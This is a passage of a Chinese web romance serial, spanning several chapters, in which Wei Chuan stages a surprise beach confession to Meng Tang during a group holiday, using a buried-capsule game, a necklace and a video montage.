魏川给她比了个“OK”的手势:“我都是花了钱了,要是办不好,我不得找老板拼命。” 文心予在笔记本上捣鼓着白天拍摄的照片和视频,问: “投屏呢?在哪儿投屏啊?沙滩上可以吗?” 魏川点了点头:“老板娘说可以的,没有当初我也不来啊。” 谢泠音说:“这里肯定也有人求婚之类的,户外投影仪那些东西肯定有,但明天最好试一下能不能用。” 魏川觉得谢泠音说得有道理,万一不能用,还有时间启动B计划。 谢泠音见他把话听进去了,又问: “那你打算什么时候告白?明天还是后天?孟棠有没有察觉到?” 魏川想起高铁上孟棠的表情有些想笑,他说: “孟棠应该不知道,她觉得我会在她生日那天告白。” “至于这次的告白,后天吧,下午骑行,我拖着她,你们帮我布置场地。” 谢泠音一口答应下来:“行,一定给你办得妥妥的。” 几个人计划了一番,接近十二点才回了房间,就是苦了石岚和杨可。 为了不让孟棠起疑,两人只能在群里讨论,当然,这个群里没有孟棠。 魏川回到房间,双手垫着后脑看向天花板,怎么也睡不着。 其实他一开始确实是想等她生日的时候告白的。 但时间有些久,他等不及,再一个,他确实想给她一个小小的惊喜。 这次五一,是他觉得最好的一个机会。 明明知道孟棠一定会答应他,可心里还是慌得不成样。 翻来覆去一晚上,直至凌晨两点才堪堪睡去。 可生物钟让他准时在六点起了床。 这会儿顶楼可以看看晨景,他一个人跑上去,打算拍给孟棠看,哪知看到了在吃早饭的孟棠。 孟棠一愣:“你怎么起这么早?” 魏川在她身边坐下,说:“生物钟,这个是什么?白粥咸鱼,没有别的了吗?” “有的,人家去拿了。”孟棠说。 魏川放下手机:“我正好也饿了,跟你一起。” 很快早餐全都上了桌,魏川磕破一个鸡蛋,剥了皮,放进孟棠面前的碟子里:“咸鱼别吃了,太咸,齁嗓子。” 孟棠“嗯”了声,又转头盯着他看了会儿:“你不冷啊?就穿短袖。” 魏川说:“没想到外面挺冷的,屋里不冷,你待会儿要去干嘛?” “趁着人少,去海边转转。”孟棠说,“石岚她们估计要到中午才能起。” 魏川笑了笑:“那我陪你?” “好,不过你要回去找个外套穿一下。” 魏川心里都快乐开花了,因为孟棠关心他。 吃完饭,他回房间拿了衣服。 梁衡在陌生地方有些不习惯,被吵醒了,问:“川哥,你去哪儿?” “我去沙滩转转,你睡吧。” “睡不着了,要不我跟你一起?” “睡不着吃早饭去。”魏川边走边说,“我跟孟棠一起,你凑什么热闹?” “操。” 魏川笑了声,出了门就往沙滩跑。 第129章 我陪你玩会儿 七点多的海边没有一点遮阴的地方,阳光很刺眼,好在孟棠戴了帽子。 魏川拿着相机跟在身后,镜头紧跟着想要拍摄的人。 孟棠回眸撞进镜头,失笑:“你怎么又拍?” 魏川笑了声:“我给你拍一个,你从远处往我这边走。” 他是倒退着走的,孟棠踩着他脚印跟上去,微微偏着头看向他的镜头。 一句话也没说,只有一点浅淡的笑。 走了一段路后,孟棠指了指沙滩:“你看,好多湿漉漉的痕迹,是不是螃蟹爬过去的?” 魏川顺势低头,见放射状的纹路,说:“可能是招潮蟹。” 孟棠蹲下身,像探寻海边生物的小孩。 指尖戳到细软的沙,她仰眸朝魏川笑了笑:“很舒服。” 透过镜头,听着浪潮,魏川再一次清晰地听到自己的心跳。 他也蹲下去,将孟棠的一颦一笑全都收录。 孟棠手上沾了沙子,突然起了恶作剧的心思,手指一弹,甩在了魏川的脸上。 他下意识后撤闭眼,细沙从他额间顺着高挺的鼻梁滑落。 仰头的一瞬间,紧绷的脖颈张力尽显,孟棠的脸红了一瞬,掩饰般地低头玩沙子。 只是动作很机械,抓一把扬一下。 魏川停了拍摄,说:“我陪你玩一会儿。” “玩什么?” “你看啊。”魏川转了个方向,在她面前画了个心。 孟棠笑了笑,在他的心上画了一把箭。 “戳我心窝子是吧?”魏川在箭的上端画了个小人,插着俩翅膀。 孟棠嫌弃地皱了下眉:“画的什么?” “丘比特。”魏川给了她一个“这都看不出来”的眼神。 孟棠帮他的丘比特重新设计了个卷发。 这一对比,魏川感到自己画的就是个秃头丘比特。 两人在海边坐下,不说话,只发呆都足够惬意。 没一会儿,其他人都起了床,陆陆续续来了沙滩。 石岚走到孟棠旁边:“我去,你什么时候起来的?一点动静都没有。” “六点左右。”孟棠回眸,“自然醒的,吃过早饭就来这儿了,我还以为你们要睡到中午。” 石岚:“我是来玩的,又不是来睡觉的,昨晚定了闹钟。” “今天天气真好。”杨可面朝大海伸展双臂,又回头问孟棠,“你俩来最早吧?拍照了没有?” 孟棠指了指魏川的运动相机:“拍了视频。” 谢泠音和许鹤清牵着手走了过来,后面跟着李卓和文心予。 梁衡举着手里的排球,问:“玩不玩?” 魏川摆了摆手:“你们玩吧,我怕我忍不住拍着它运球。” 肌肉记忆改不掉。 孟棠被这句话逗笑,脑补了一下魏川将排球当篮球的样子。 魏川指了指远处的遮阳伞:“去那儿歇会儿?还是要玩球?” “有点渴。”孟棠说,“我去喝点东西。” “行,我陪你一起。” 坐下时,梁衡他们已经玩了起来,文心予站一旁给他们拍照。 最后是3v3。 孟棠看着好笑,说:“梁衡和李卓带着石岚,泠音那边只有许鹤清一个男生,应该赢不了。” 魏川笑道:“要赢干什么,他们就是闹着玩的。” 五月的天是真的舒服,不冷不热。 一阵海风吹过来,孟棠竟然还觉得有点冷。 可一到太阳底下,又晒得慌。 越临近中午,光线越强。 魏川碰了下孟棠:“回去吗?” 孟棠看了眼沙滩:“不叫他们吗?” “他们一会儿肯定也回了,太晒了。”魏川说,“去屋里坐着吹吹海风,消磨会儿时间。” “行。” 孟棠起身,打算回房间,发现魏川一直跟着她。 到门口后,她刷了卡,转身问:“你不回去吗?” 魏川也没进去,毕竟石岚、杨可和孟棠住一起,他也不方便进,便道: “回了,待会儿吃饭的时候再叫你,你先休息会儿。” “好。” 两人告了别,魏川回了房间。 大概半小时左右,梁衡推开了房间的门,后面跟着李卓和文心予。 魏川将运动相机给了文心予,问:“我明天还想拍个日出和下午的骑行,能赶上吗?” 文心予说:“骑行赶不上,那是下午的事,你又要晚上表白,我来不及做视频。” 魏川说:“那就加个日出的场景吧。” 文心予打开相机看了眼视频,笑了笑: “你拍的还挺好,今晚日落也你自己拍,我觉得你的镜头带着一股说不出来的味道。” 李卓说:“那是咱川哥爱的味道。” 文心予点了点头:“有可能。” 爱一个人和不爱一个人,掌镜下的画面是完全不一样的。 很多男生有一个毛病,即便是拍女朋友,镜头也更偏向女生的腿和胸之类的地方。 但魏川的镜头对准的是孟棠的眼睛,孟棠蹲下,镜头也蹲下,拍出了喜欢的具象化。 所以她才说魏川拍的好。 没有技巧,都是感情。 中午吃饭不在顶楼,老板娘给他们整了一个大包厢。 是地中海风格的长桌,窗户一开,海风卷过来一片海鲜的香气。 谢泠音抵了抵孟棠,给她夹过来一只虾:“这个虾很好吃。” “谢谢。”孟棠放下筷子,将虾头拧下来,再去剥虾壳时,一不小心被刺了下。 她猛地缩了下手,干脆不剥了,上嘴啃。 魏川朝对面的梁衡伸手:“给我拿两个一次性手套。” 梁衡给他拿了后,他戴上,笨拙地给孟棠剥了两只虾过去。 孟棠还啃着呢,眸光倏地一滞。 送过来的两只虾,虾肉零零散散的。 她转头看向魏川,魏川朝她眯了眯眼。 孟棠默默用筷子夹起来,蘸酱吃了。 魏川凑过去,小声道:“还要吗?” 孟棠刚要摇头,梁衡第一个起哄:“川哥,我要。” 一句话,惹得所有人全都笑了。 孟棠默默红了耳尖,朝魏川摇摇头:“不要了。” “怎么能不要呢。”谢泠音开玩笑,“好歹让他给你剥一个完整的。” 孟棠:“……” 算了吧,大少爷哪儿做过这样的事。 “可以。” “别了。”孟棠阻止他伸过来的手,“我不想吃了。” 要是剥不到完整的,难道一盘子都得给他练手吗?别人还吃不吃了。 魏川应了声,将一次性手套摘了下来。 吃完饭,所有人都回房间睡了一觉。 一觉醒来搜罗了一些零食垫了垫肚子。 这时有人敲门,孟棠去开了门,魏川将拎着的奶茶递给孟棠:“给你们买的。” “谢谢。”孟棠接过,给石岚和杨可送了过去。 “走了,去看日落。” 走廊里,梁衡喊了一嗓子。 孟棠不想带包,将手机绳扣上,挂上了脖子。 魏川拎了下:“不勒啊,给我,我帮你放口袋里。” 时间长了,确实勒脖子,孟棠基本也不用手机,就给了他。 李卓和文心予先他们一步,人家已经拍上照片了。 见他俩光着脚,魏川问:“凉吗?” 李卓说:“还好。” 孟棠和谢泠音对视了眼,两人默契地脱了鞋。 海水裹着细沙掠过脚踝,孟棠一下笑出了声,魏川又对着她开了相机。 海平线吞没日光,天边浓霞翻滚。 海浪一层一层卷上来,吻上了孟棠白皙的小腿。 “孟棠。”魏川叫了声她的名字。 “嗯?”孟棠抬眼看过来。 魏川歪了下头:“笑一下。” 孟棠勾了勾唇。 “不够。”魏川说,“你这像假笑。” 谢泠音戳了下孟棠的腰,孟棠身体一僵,拦住她的手。 谢泠音看准机会,又去掏了两把。 孟棠没忍住,上前和她打闹起来。 许鹤清连忙退出战场,因为石岚和杨可也加入了进去。 这一幕太美好,文心予狂按快门。 魏川始终坚定如一,镜头只跟着孟棠转。 直至石岚玩疯了,朝孟棠扬了一把海水,魏川才上前制止:“别泼水,衣服湿了会着凉。” 孟棠将长发拨到后面,说:“没事,弄头发上了。” 魏川抬手抹去她额头和侧脸的海水,说:“天色暗了,别玩了。” 谢泠音摆了摆手:“不玩了,好累,许鹤清,把我鞋子拿来。” 许鹤清任劳任怨地去给她拿了鞋和水,顺道扔了一瓶给魏川。 就在魏川疑惑时,许鹤清蹲下身,替谢泠音冲掉了脚上的沙石,谢泠音十分自然地踩上他的膝盖,蹭干了水分才穿上了鞋。 石岚和杨可两个单身狗就比较可怜了,只能自己来。 魏川刚要蹲下,被孟棠一把按住:“我自己来,你帮我把水拧开。” 魏川有点遗憾,但也不敢上手,只能拧开水,递给了她。 远处的烧烤摊已经支了起来,李卓忙不过来,喊:“赶紧来几个人帮忙,女生就别来了吧,太熏了。” 魏川将运动相机塞给文心予,走了过去。 孟棠要接相机的手一顿,不明白魏川怎么把相机给了文心予。 好在文心予看了出来,说:“我这几天拍了好多你们的照片和视频,我要一起整理一下。” 原来是这样,孟棠丝毫没有怀疑。 石岚拽住孟棠的手臂,推着她往前走:“有点饿,赶紧去看看他们烤了什么。” 魏川见孟棠过来,问她:“鸡翅要吃几个?” 孟棠朝他伸手:“两个,不过……你会吗?” “这有什么难的。”魏川将鸡翅翻了面,“李卓会啊,我跟着他就行,你先去坐一会儿,好了喊你。” 谢泠音朝孟棠招了招手:“来吧,咱也帮不上忙,先吃点别的。” 杨可开了一瓶气泡水给孟棠:“喝这个还是啤酒?” 孟棠接过:“就这个吧。” 谢泠音指了指桌上的蛋糕,说:“魏川特地让老板娘去买的,听说是整个岛上最好吃的一家,没弄小杯,直接做了个大的,给你弄一块?” 孟棠:“好。” 李卓将烤好的装盘递给魏川:“先给她们端过去。” 魏川接过:“看好我的鸡翅。” “知道了,我糊了都不会让它糊。” 梁衡回房间拿了牌,鬼鬼祟祟走过来将李卓烤好的鸡翅一口塞进了口中。 “卧槽,那个不能吃。”李卓追上去,要去掰开他的嘴。 梁衡立马围着桌子跑,回头扔给李卓两根骨头。 李卓指了指他:“我跟你说,你完了。” 第130章 这不是我的胶囊,是我的情书 魏川回头去拿鸡翅,结果烧烤架上空空如也。 他朝李卓喊:“我鸡翅呢?” 李卓指了指梁衡:“这个嘴贱的抢走了。” 梁衡一愣:“川哥,那是你的?” 魏川:“……那是我要留给孟棠的。” “呃……”梁衡一边嚼一边挪步子想要跑。 魏川指了指他:“罚你烤十个鸡翅,牌给我。” 梁衡松了口气,将牌给了他。 魏川直接坐到孟棠旁边,将牌放下,问:“打牌不?” 孟棠摇摇头:“不会。” 魏川说:“小猫钓鱼也不会啊?” 孟棠:“……这个会。” “来。”魏川分了一半的牌给她,“你先开始。” 谢泠音抵了抵石岚:“他俩真幼稚。” 石岚:“不是情趣吗?” 杨可捧着脸,嘿嘿笑:“反正我觉得好甜。” 一轮结束,孟棠赢光了魏川的牌,明晃晃挥了挥:“我赢了。” 魏川起身,揉了揉她的后脑勺:“我去看看鸡翅好了没。” 其实发现孟棠爱吃鸡翅,也是和她吃了几次饭才发现的。 李卓余光瞥到魏川,说:“再等两分钟。” 魏川拍了拍梁衡,说:“去民宿找两个师傅过来烤,我付钱。” 梁衡一溜烟跑了。 李卓将鸡翅装盘,给了魏川。 魏川说:“你也过去坐吧。” “好嘞。” 李卓最后只烤了五个鸡翅,魏川分给了女生。 有了两个师傅,烧烤很快被吃到了嘴里。 一群年轻人,对着黑夜的海风谈天说地,聊了一个多小时。 吃饱喝足,又开始打牌吹牛。 梁衡不知从哪儿拿出来一堆游戏道具,说:“这是老板娘让我拿来玩的,叫什么胶囊游戏,就是每个人在纸条上写一些话,是想让别人做的事,不是太过分的整蛊啊之类的,然后埋进沙滩,明晚再挖出来。” 魏川看过去:“游戏规则呢?明晚是每个人都要挖吗?还是要通过玩游戏去挖。” 梁衡说:“当然是通过玩游戏去挖了,不过不是今晚啊,今晚就把你想整蛊的事写上去,然后一个一个去埋起来就行。” 魏川挑了下眉:“那不是所有人都能看到?” 梁衡:“……闭眼呗。” “行。”魏川率先朝他伸手,“我来写一个。” 谢泠音笑道,对许鹤清说:“这个很有意思哎,要是我俩能抽到彼此的,是不是很有缘分?” “那抽不到就没缘分了?”许鹤清反问了一句。 谢泠音白了他一眼:“没有浪漫细胞的男人。” 魏川写完,立马起身:“我先去,你们别看。” 孟棠不知道写什么,也不知道写什么整蛊的,万一抽到的是不熟的人,尴尬也不好。 她只能在纸条上写下:唱一首歌吧。 随后捏起来塞进了玻璃瓶,又用软木塞封了起来。 这个游戏很受来这里的年轻人欢迎,并且有专门的一处沙滩,这片沙滩不大,会有指示牌提醒。 一般有点素质的人看到都会绕道走。 孟棠是第三个去埋的。 埋完,一群人玩到将近十二点才回了房间。 要不是第二天看日出,只怕还不会散。 魏川暗戳戳跟在孟棠身后,问:“你写了什么?” 孟棠瞥了他一眼:“你想作弊啊?我的胶囊,你也不一定能抽到。” 魏川小声说:“可我抽不到,我会吃醋。” 孟棠笑了笑:“反正不会告诉你。” 魏川也不是真的想知道,不过就是逗弄两句。 两人在走廊里告了别。 孟棠去洗澡的时候,石岚推了推杨可:“魏川不会真的把礼物埋起来了吧?” 杨可:“你傻啊,那可是一万多的项链,藏起来等着别人去捡啊?” 石岚:“不知道为什么,我比孟棠还要紧张。” 杨可“扑哧”一声乐道:“是不是第一次告白,你没有在场,所以没有实感。” 石岚拍了下手:“知己啊,我总觉得他俩第一次在一起的时候稀里糊涂的,就是没敢说。” 杨可说:“我也有点这种感觉,主要是孟棠之前从来透露过一星半点,跟这次不一样,魏川搞了这么大阵仗,我才有了实感。” 石岚:“我就是这个意思。” 杨可看了眼浴室:“好在孟棠到现在都没发觉任何的异样,我靠,我现在恨不得睡一觉就到明天晚上。” 石岚何尝不是呢。 孟棠出了浴室,用干毛巾不断擦着湿发。 她从行李箱里拿了吹风机,说:“你俩去洗吧。” 杨可推了把石岚:“你先去吧。” 石岚拿了衣服进了浴室。 杨可指了指孟棠的行李箱:“你这件红色的上衣怎么不穿?” “明天穿。”孟棠将衣服拿到床头,随后开始吹头发。 吹到手酸,发尾都还洇着湿。 孟棠甩了下发梢,心想自己该剪头发了。 翌日一早,三台五点的闹钟齐刷刷响了。 这章没有结束,请点击下一页继续阅读!孟棠睁开眼睛愣了会儿,看向孟棠和杨可的床。 她起身坐起来,问了一句:“你们去不去看日出?” 石岚和杨可是真不想起,但来都来了,闹钟也定了。 她俩闷声叹了口气,爬了起来。 孟棠洗漱完换了衣服,在镜子前整理了半天。 走廊上陆陆续续传来动静,三个人拿了手机,出了房间的门。 孟棠迎面撞上魏川,问候了早安。 魏川目光微动,半晌才道:“早安,你今天很漂亮!” 一句突如其来的夸赞让孟棠淡淡的死感冲刷个一干二净。 “你也……”孟棠忽然一愣,魏川竟然穿了一件白色衬衫,和他平日的风格大相径庭。 魏川低头看了眼自己,笑着问:“怎么了?不好看?” 孟棠摇摇头,不是不好看,是太好看。 肩宽腿长,普普通通一件白衬衫,给他穿出了高级感。 有一种介于男孩和男人之间的微妙感。 “你们站这儿干嘛,走了。”许鹤清从后面出来,顺道推了把魏川。 清晨,外面还有点冷,但挡不住大家的热情。 天光光线未名,海平线只是一层薄薄的青灰色。 没多久,橙色晕染天空,海天交界处升起一抹红。这抹颜色照耀了整片海水。 岸边没一个人说话,享受这片刻的安宁。 睡醒的没睡醒的全都掏出了手机。 文心予一边退后一边说:“你们分散着坐,给你们拍照。” 魏川和孟棠两侧的人齐刷刷地走了。 魏川笑了声:“正好,咱俩不用走了。” 文心予先给他们拍了照,然后打开了魏川的运动相机,递了过去:“可以当个道具。” 魏川接过,对孟棠举起了相机。 文心予笑道:“这人和景色相比,一点不逊色。” 魏川臭屁的接下了夸奖。 “孟棠。”他举着相机突然叫了她的名字。 孟棠一如既往地转过头:“嗯?” 魏川笑了笑,没说什么。 孟棠:“……” 太阳渐渐上升,天光大白。 又在海边逗留了一会儿,一群人返回餐厅吃早饭。 上午他们没再去沙滩,躲在屋内打了一个上午的牌,当然,孟棠是这样认为的。 她和石岚、杨可待在自己的房间,在阳台泡了一上午。 下午环岛骑行,魏川三点来找了她。 出去的时候只有他们两个,孟棠诧异地问:“他们人呢?” 魏川说:“管他们干嘛,梁衡还在睡呢,咱俩不好吗?” 孟棠觉得奇怪:“石岚和杨可她们也不在。” 魏川失笑,凑近看着她:“有没有可能,人家在给我们创造机会?” 孟棠哼了声,骑上单车走了。 “等我一下啊。”魏川蹬着脚踏追了上去。 其他人在沙滩边忙得热火朝天,给魏川布置场景。 这个地方和他们昨天吃饭的沙滩不在一片,孟棠骑行回来的时候,自然也没发现任何的异样。 桌子还是昨晚的桌子,今晚不烧烤,正常吃饭聊天。 说实话,孟棠还挺期待挖宝的小游戏。 哪知道梁衡拿了一副牌出来,让他们抽,抽到同花色的拿彼此的胶囊。 孟棠:“……” 她不好意思说,这是什么破游戏? 梁衡说:“牌都是调整好的,一共八张,因为心予没参加嘛,所以每个人都有牌,并且只有两个人的花色是一样的,来,从卓儿开始抽。” 李卓抽了一张最近的牌,然后诡异的来了。 许鹤清和谢泠音抽了一对,石岚和杨可抽了一对,剩下的自然就是李卓和梁衡是一对。 孟棠看着红桃心,望向魏川:“你是红桃?” 魏川点了点头,摊开了牌。 石岚和杨可憋笑憋得都快疯了。 本来抽牌是想交换一下的,但许鹤清不想别人抽到谢泠音的牌,而文心予没参加,李卓自然也不能和石岚、杨可抽到一对。 他只能和梁衡,这样依赖,石岚和杨可必定绑一起。 不过一点小小的破绽,孟棠只当是巧合。 梁衡和李卓各自挖了胶囊,按照彼此写的做了游戏。 魏川和孟棠是最后一个,孟棠将自己的胶囊挖出来交给了他。 魏川笑了笑,说:“我那个胶囊有点远,你自己挖。” 孟棠只好跟他走。 魏川开了纸条,看到内容时轻笑一声:“我待会儿就给你唱。” “行。” 越走越远,孟棠被前方的光亮吸引,那片沙滩刺眼夺目,铺满了蜡烛和鲜花。 她“哇”了声:“谁要求婚啊?” “你管人家干什么?”魏川在光线之外停住脚步,“就这儿,你挖吧。” 孟棠蹲下去,指了指他脚尖的地方:“这儿吗?” 魏川点了点头,也蹲了下去。 孟棠扒开细沙,指尖触到一片坚硬,她用手指勾住,拨了上来。 红盒子半露,孟棠惊讶地张开嘴巴:“这是什么?” 看着也不像胶囊啊。 魏川目光幽远,语气微沉:“你打开看看?” 孟棠迷茫地看着他:“这是你的胶囊?” 魏川还是那句话:“你打开看看。” 孟棠打开了盒子,一条精致的玫瑰金项链闪着细碎的光芒。 她愣住了! 魏川覆住她的手,温柔道:“这不是我的胶囊,是我的情书。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第131章 能不能亲你 从来没人告诉孟棠,面对突如其来的惊喜,她要怎么去表现。 她此刻像桩木头。 拙劣的游戏原来不是游戏,只是魏川告白的引子。 她怎么这么笨,一点都没看出来。 眼瞧着人已经傻了,魏川弯腰垂眸,小声轻哄:“怎么了?” 孟棠咬了下唇,摇了摇头。 魏川朝她伸手:“来。” 孟棠将手给他,被他一步一步带到刚才她误以为是别人求婚的场地中心。 一块户外的投屏由黑转亮,魏川握住她肩膀,将她转过了身。 当自己的脸现于屏幕时,孟棠愣了下。 第一段视频是在高铁上拍的,是魏川问她喜不喜欢海,她回答后反问了一句。 但魏川当时没有回答,视频里却给了一个“我喜欢你”的口型,很清楚。 之后就是坐船、日落,再到日出,每个场景后,都接了一句“我喜欢你”。 而且是明晃晃的在她身后说的,只不过没有出声。 而这一切,她丝毫没有察觉。 “孟棠。” 投屏里一句,现实里一句,魏川的声音重叠在耳边,孟棠下意识回了眸。 魏川转了半身,走到她跟前,直勾勾盯着她的眼睛,很认真地说了句:“我喜欢你。” 孟棠半晌没反应。 魏川笑了声:“说话啊,不然我会很尴尬。” “呃……”孟棠结巴了下,“我、我也喜欢你?” “为什么用这么疑惑的语气?”魏川逗弄她,“你喜欢我,不是应该斩钉截铁吗?” 孟棠失笑,小声道:“你会不会太有自信了?” 魏川:“那是不喜欢吗?” 孟棠仰头看着他,浅浅一笑:“我刚才不是说了吗,我也喜欢你。” 魏川一下笑出了声,伸手握住了她的手,说: “喜欢你,真的是一件很简单的事,我自己都不知道是什么时候被你吸引的,可能是一开始,也可能是相处中。” “等我发现的时候,你在我心里已经挥之不去了。” “孟棠,你能接受我,跟我在一起吗?” 孟棠点了点头:“嗯。” 根本毋庸置疑。 魏川一激动,直接将她抱了起来。 蜡烛鲜花之外,一箭穿心烟花突然燃放,孟棠被吓了一跳,魏川抱着她后退了一步。 “嘭嘭——” 后面又有袭击,躲在暗处的朋友们一拥而上,将礼花筒全都拉开。 漫天的粉色羽毛和花瓣像一场浪漫的雨,齐刷刷落在两人身上。 “告白成功,恭喜恭喜!” 孟棠耳膜一震,还没来得及反应,已经被魏川捂住了耳朵。 视野里,一张张熟悉的面孔全都替他俩高兴着。 孟棠笑了笑,拿走了脸颊上掉落的一片羽毛。 “是不是没想到啊?”谢泠音用礼花筒戳了下孟棠的腰。 孟棠点了点头,想要往前走两步和谢泠音说话,一低头发现魏川的一只手牢牢地把着她的腰。 她戳了下他手背,回眸说:“先松开。” 魏川松了点,跟着她往前动了两步。 “咦~”谢泠音抖了下,疑似被肉麻到了。 孟棠无奈地笑了声,最终放弃了抵抗。 魏川从她手中拿过项链,说:“给你戴上。” 孟棠看见的时候就知道不便宜,但这是告白礼物,她还真不能拒绝,只能将长发撩开,任由魏川帮她戴上项链。 李卓第一个起哄:“亲一个。” 有第一起哄的,就有第二个,梁衡紧随其后,随后场面一发不可收拾。 这对于孟棠来说,简直是公开处刑。 “知道她不好意思还起哄。”魏川抬脚对着李卓踢了下,“自个儿没女朋友啊。” 孟棠抿了抿唇,撇过脸笑了笑。 “好了好了。”魏川护着孟棠,“吃不吃饭了?” “走走走,吃饭。”谢泠音率先领头往餐厅去。 孟棠也要走,被魏川拉了下:“咱们不跟他们一起,你先跟我拍张照。” 孟棠见他拿了手机,调了自拍模式。 魏川揽住孟棠的头,往自己颈间靠了靠:“看镜头。” 孟棠下意识看过去,魏川笑着看向她,拍下了两人正式在一起的第一张照片。 孟棠踮起脚尖:“我看一下。” 魏川将手机递过去,照片上有一个人没有看镜头。 孟棠说:“给我发过来。” “干什么?”魏川嘴上这么问,动作倒是很快,“做朋友圈背景吗?” 孟棠一僵:“你知道?” 魏川笑着哼了声:“我一直都知道,还知道某个人傻乎乎地早就答应了我。” “你以为你暗戳戳换了背景我就不知道了,我还——” 孟棠一整个震惊,一把捂住了他的嘴。 魏川灼热的呼吸洒在她的手心,四目相对,眼神变得暗沉。 他抓住孟棠的手腕,一个使劲,让她撞到自己身上。 魏川低了低头,小声说:“除了这个,我还知道那只蝉的寓意。” 孟棠眼睛蓦地睁大:“你怎么知道?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!魏川轻笑:“我不是有老头的号码嘛。” 孟棠:“……” 所以她一切的小心思早就暴露于无形。 魏川知道一切,然后策划了一场海边的告白? 孟棠反应过来,一把抓住他衬衫的领口,低头抵了上去,没脸见人了。 魏川被她撞得纹丝不动,垂眸揉了揉毛茸茸的脑袋,一只手抓着她后颈,将人仰面对着自己。 呼吸近在咫尺,魏川视线下移,落在她唇上,紧接着又看向她的眼睛: “这么害羞干什么?我不能知道?” 靠得太近,孟棠下意识将手抵在他胸膛。 魏川拨开她的手,单手环住她的肩,拉近彼此的距离。 “说啊,我能不能知道?” “能。”孟棠的手被他压制在下,只能够到他的腰,掐了他一把,完全是小女生的扭捏姿态。 魏川又凑近一些,几乎用气音在问:“那能不能亲你?他们都走了。” 孟棠整个灵魂都被他这一句话烫到了,连眸光都开始发颤。 她抿了下唇,两片黏合在一起的唇瓣又缓缓地分开。 魏川实在受不了了,捧起孟棠的脸亲了下去。 孟棠所有的触觉全都聚拢于唇齿间,他们的呼吸随着潮浪推进又后退。 海浪一声又一声,掩盖了靠近的心跳和喘息。 直至魏川的手机忽然响起,两人才猝不及防地分开。 孟棠半转过身,有一种尴尬的无措。 魏川余光瞥到,十分自然地牵起她的手捏了下,随后才回电话:“明天回。” 他牵着孟棠往回走,一边听电话一边注意着孟棠,属实是一心二用。 孟棠听出他和家里人在打电话,乖乖被牵着走。 “我知道了,明晚回去吃饭……大姐不是出差了吗……魏思沅恋爱了?卧槽,行,我下高铁就回,嗯,挂了。” 挂断电话,魏川转头问孟棠:“是不是饿了,现在带你去吃饭。” “明晚回去吗?”孟棠问。 “是要回去。”魏川说,“集训了十天,他们以为我会回去的,哪知道我出来玩儿了。” 孟棠:“谁谈恋爱了?” 魏川:“咱们家老三,恋爱脑一个,男人随便哄哄就能给人家花钱。” “为什么这么说?”孟棠好奇地问,“不是正常恋爱吗?” 魏川说:“她混娱乐圈,虽然是糊咖,但她一身牌子货,手表都得几百万,养马大户,谁不知道她有钱啊,倒贴的男人多的是,他们那圈子,一个赛一个好看,她架不住也正常。” “她那人就是个颜控,谈了两个,被骗了两次,都是为她的钱去的,这次不知道又谈了个什么物种。” 孟棠“啧”了声:“人家万一是真心的呢?” 魏川轻嗤:“男人没几个好的。” 孟棠失笑:“你也是?” “怎么可能。”魏川将她使劲往怀里揽,“我说了你也不信,你就往后看。” “好。” 两人去了顶楼的餐厅。 魏川拿了手机,将刚才的合照发进了朋友圈。 孟棠看到时一愣,问他:“你有没有屏蔽你的家人?” “没有啊。”魏川有点迷茫地看着她,“为什么要屏蔽他们?” “呃……”孟棠一时之间竟然不知道要说什么,“你不是刚谈吗?朋友圈一发,你家人不就知道了?” 魏川笑了声:“知道就知道呗,这有什么好瞒着的?他们还能棒打鸳鸯?” 孟棠白了他一眼:“谁跟你是鸳鸯,我只是觉得……算了,我也没谈过恋爱,你说了就说了吧。” 魏川说:“我知道你的意思,正常情况下都是先谈个一年半载的嘛,但我家不一样,你看魏思沅,谈恋爱立刻就跟家里说了,没事的。” 孟棠松了口气,难道真是他家的传统? 这件事,孟棠还真是误会了。 纯粹是魏川想秀,他那颗心,就是藏不住。 面上装得一本正经,成熟稳重,实则心里乐开了,捅不到全世界都知道的地步,也得让家里的人全都知道。 吃完饭,魏川送孟棠回房间。 也不知道石岚她们回没回,孟棠敲了敲门,房卡不在她这里。 里面传来动静,杨可喊了声:“来了,等一下。” 孟棠转头和魏川挥了挥手:“明天见。” 魏川笑了笑,在杨可开门之前,俯身偷了一个吻。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第132章 你是不是忘记了什么 杨可开了门,发现孟棠在门口发呆,好奇地巡视了一圈走廊,问: “魏川没跟你一起回来?” “回来了。”孟棠不自在地清了下嗓子,“你们在干嘛?” “收起行李。”杨可关上门,“你耳朵怎么这么红?” 孟棠撇过脸:“没事。” 只不过被某人的偷袭弄懵了一瞬。 孟棠见石岚在收衣服,在床尾盘腿坐下,问她和杨可: “你们是不是一早就知道今天他要告白?” 石岚停了手里的动作,点了点头。 杨可说:“我们有一个群,你不在里面,还有啊,你以为文心予是干什么来的?” “文心予也是魏川请来的?”孟棠有些惊讶。 石岚:“对啊,她正好是李卓的女朋友,这一层身份能够更好的掩饰,你看到的那个告白视频,就是她制作的。” 孟棠眨了眨眼:“我真的完全不知道,你们也太厉害了。” 杨可嘿嘿一笑:“还不是魏川误导你了,让你以为会在你生日那天告白。” 石岚合起箱子,将它推到墙角,然后也在床位坐下,说: “孟棠,其实我有个问题,真的很好奇,你俩这次不是复合嘛,为什么他又告了一次白?” 孟棠回答不了那么多,要说是假扮情侣,势必要被追问为什么假扮?这样就得扯出许鹤清和谢泠音的乌龙事情来。 她想了想,说:“其实也没什么,之前在一起有点仓促。” “也是啊。”杨可说,“过个年就分手了,所以你俩这次是深度交流过的?可千万别学泠音和许鹤清啊,折腾来折腾去的。” 孟棠说:“不会的。” 她也不是折腾的人。 聊完,她也开始收拾行李,等三个人都洗了澡,微信群里,文心予发了一个网盘分享链接。 孟棠点了进去,看到了这两天的所有照片。 有关自己和魏川,还有集体合照的,她一张一张保存下来。 “文心予拍照是可以啊。”石岚边说边下载。 孟棠的照片很多,毕竟是这次旅行的主角。 她特地建了个相册,将自己和魏川的照片添了进去。 手机跳出来一条信息,孟棠点进去,是魏川问她睡没睡。 孟棠:【还没呢。】 魏川:【有点想你。】 孟棠看了眼时间,已经过了十二点了,回:【明早就能见面了,现在有点太晚了。】 魏川:【知道了。】 从这三个字里,莫名看到了他的委屈。 孟棠笑了笑,给他发了一个安抚的表情包。 魏川转头给她回了个“mua!(*╯3╰)” 孟棠复制转回去,顺便道了晚安。 睡觉的时候,脖颈间划下一片冰凉,她抬手摸了下,是魏川送她的项链。 孟棠拽着它,睡着了! 翌日上午七点,一群人没睡醒似的,全都顶着一张淡漠的脸出了房间。 